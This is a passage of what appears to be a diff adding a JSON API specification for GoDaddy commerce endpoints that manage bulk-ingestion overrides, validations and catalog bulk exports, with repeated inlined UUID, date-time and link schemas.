request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "overrides": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-ingestion-override.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk ingestion override object", + "properties": { + "bulkIngestionId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "op": { + "default": "replace", + "description": "The operation of the override patch, can be add, remove, \nor replace\n", + "type": "string" + }, + "path": { + "description": "The path of the override, consists of an index and an \nattribute name\n", + "example": "/0/name", + "type": "string" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "value": { + "description": "The value of the override", + "type": "string" + } + }, + "title": "Bulk Ingestion Override", + "type": "object" + }, + "type": "array" + }, + "pageToken": { + "type": "string" + } + }, + "title": "Bulk Ingestion Overrides", + "type": "object" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "put_stores_storeId_bulk_ingestions_bulkIngestionId_overrides", + "method": "PUT", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/overrides", + "summary": "Upsert an override", + "description": "Update an existing override or insert a new one if \nit does not already exist. Body must include a JSON\npatch object.\n", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "properties": { + "op": { + "enum": [ + "replace", + "remove", + "add" + ], + "type": "string" + }, + "path": { + "type": "string" + }, + "value": { + "nullable": true, + "type": "string" + } + }, + "type": "object" + } + }, + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Override upserted successfully", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-ingestion-override.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk ingestion override object", + "properties": { + "bulkIngestionId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "op": { + "default": "replace", + "description": "The operation of the override patch, can be add, remove, \nor replace\n", + "type": "string" + }, + "path": { + "description": "The path of the override, consists of an index and an \nattribute name\n", + "example": "/0/name", + "type": "string" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "value": { + "description": "The value of the override", + "type": "string" + } + }, + "title": "Bulk Ingestion Override", + "type": "object" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_stores_storeId_bulk_ingestions_bulkIngestionId_overrides_index", + "method": "GET", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/overrides/{index}", + "summary": "Get overrides by index", + "description": "Get a list of overrides based on its index.\n", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "override index", + "in": "path", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "includes", + "in": "query", + "required": false, + "schema": { + "type": "string" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Overrides retrieved", + "schema": { + "description": "A list of bulk ingestion overrides", + "properties": { + "entries": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-ingestion-override.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk ingestion override object", + "properties": { + "bulkIngestionId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "op": { + "default": "replace", + "description": "The operation of the override patch, can be add, remove, \nor replace\n", + "type": "string" + }, + "path": { + "description": "The path of the override, consists of an index and an \nattribute name\n", + "example": "/0/name", + "type": "string" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "value": { + "description": "The value of the override", + "type": "string" + } + }, + "title": "Bulk Ingestion Override", + "type": "object" + }, + "type": "array" + } + }, + "title": "Bulk Ingestion Overrides", + "type": "object" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "delete_stores_storeId_bulk_ingestions_bulkIngestionId_overrides_index", + "method": "DELETE", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/overrides/{index}", + "summary": "Delete overrides by index", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "override index", + "in": "path", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Overrides deleted", + "schema": { + "properties": {}, + "type": "object" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "post_stores_storeId_bulk_ingestions_bulkIngestionId_validations", + "method": "POST", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/validations", + "summary": "Validate bulk ingestion", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Bulk ingestion validated", + "schema": { + "$ref": "./models/Bulkingestion.yaml" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_v1_commerce_stores_storeId_bulk_exports", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/bulk-exports", + "summary": "Get bulk exports", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "filter", + "in": "query", + "required": false, + "schema": { + "type": "string" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "format": "int32", + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get bulk exports", + "schema": { + "description": "A list of bulk exports", + "properties": { + "bulkExports": { + "description": "The bulk exports", + "items": { + "$id": "https://godaddy.com/schemas/commerce/bulk-operations/bulk-export.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk export object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "errorMessage": { + "description": "Message from error that occurred during the bulk export", + "nullable": true, + "readOnly": true, + "type": "string" + }, + "exportType": { + "description": "The type of bulk export, currently accepts one of CATALOG, CATALOG_V2_TO_V1", + "type": "string" + }, + "exportedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "query": { + "description": "The query for the bulk export", + "example": { + "skuGroupIds": { + "in": [ + "sku-group-id-1", + "sku-group-id-2" + ] + } + }, + "skuGroupIds": { + "description": "The SKU group IDs to filter the bulk export. To export\nall SKU groups, omit this field.\n", + "properties": { + "in": { + "description": "The list of SKU group IDs to filter the bulk export. If the list is \nan empty array, the bulk export will not include any SKU groups.\n", + "items": { + "type": "string" + }, + "required": true, + "type": "array" + } + }, + "required": false, + "type": "object" + }, + "type": "object" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "readOnly": true, + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "readOnly": true, + "type": "string" + }, + "status": { + "default": "PENDING", + "description": "The status of the bulk export, currently PENDING, PROCESSING,\nEXPORTING, COMPLETED, FAILED, CANCELED\n", + "readOnly": true, + "type": "string" + }, + "targetFormat": { + "description": "The target format of the bulk export, currently accepts CSV\n", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Export", + "type": "object" + }, + "type": "array" + }, + "links": { + "description": "The links", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "pageToken": { + "description": "The page token", + "type": "string" + } + }, + "title": "Bulk Exports", + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "post_v1_commerce_stores_storeId_bulk_exports", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/bulk-exports", + "summary": "Create bulk export", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/bulk-operations/bulk-export.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk export object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "errorMessage": { + "description": "Message from error that occurred during the bulk export", + "nullable": true, + "readOnly": true, + "type": "string" + }, + "exportType": { + "description": "The type of bulk export, currently accepts one of CATALOG, CATALOG_V2_TO_V1", + "type": "string" + }, + "exportedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "query": { + "description": "The query for the bulk export", + "example": { + "skuGroupIds": { + "in": [ + "sku-group-id-1", + "sku-group-id-2" + ] + } + }, + "skuGroupIds": { + "description": "The SKU group IDs to filter the bulk export. To export\nall SKU groups, omit this field.\n", + "properties": { + "in": { + "description": "The list of SKU group IDs to filter the bulk export. If the list is \nan empty array, the bulk export will not include any SKU groups.\n", + "items": { + "type": "string" + }, + "required": true, + "type": "array" + } + }, + "required": false, + "type": "object" + }, + "type": "object" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "readOnly": true, + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "readOnly": true, + "type": "string" + }, + "status": { + "default": "PENDING", + "description": "The status of the bulk export, currently PENDING, PROCESSING,\nEXPORTING, COMPLETED, FAILED, CANCELED\n", + "readOnly": true, + "type": "string" + }, + "targetFormat": { + "description": "The target format of the bulk export, currently accepts CSV\n", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Export", + "type": "object" + } + }, + "responses": { + "201": { + "description": "Create bulk export", + "schema": { + "description": "A bulk export object", + "properties": { + "bulkExport": { + "$id": "https://godaddy.com/schemas/commerce/bulk-operations/bulk-export.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk export object", + "properties": { + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "errorMessage": { + "description": "Message from error that occurred during the bulk export", + "nullable": true, + "readOnly": true, + "type": "string" + }, + "exportType": { + "description": "The type of bulk export, currently accepts one of CATALOG, CATALOG_V2_TO_V1", + "type": "string" + }, + "exportedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "query": { + "description": "The query for the bulk export", + "example": { + "skuGroupIds": { + "in": [ + "sku-group-id-1", + "sku-group-id-2" + ] + } + }, + "skuGroupIds": { + "description": "The SKU group IDs to filter the bulk export. To export\nall SKU groups, omit this field.\n", + "properties": { + "in": { + "description": "The list of SKU group IDs to filter the bulk export. If the list is \nan empty array, the bulk export will not include any SKU groups.\n", + "items": { + "type": "string" + }, + "required": true, + "type": "array" + } + }, + "required": false, + "type": "object" + }, + "type": "object" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "readOnly": true, + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "readOnly": true, + "type": "string" + }, + "status": { + "default": "PENDING", + "description": "The status of the bulk export, currently PENDING, PROCESSING,\nEXPORTING, COMPLETED, FAILED, CANCELED\n", + "readOnly": true, + "type": "string" + }, + "targetFormat": { + "description": "The target format of the bulk export, currently accepts CSV\n", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Export", + "type": "object" + }, + "links": { + "description": "Links to the newly created bulk export.", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + } + }, + "title": "Bulk Export", + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_v1_commerce_stores_storeId_bulk_exports_bulkExportId", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/bulk-exports/{bulkExportId}", + "summary": "Get bulk export", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkExportId", + "in": "path", + "required": true, + 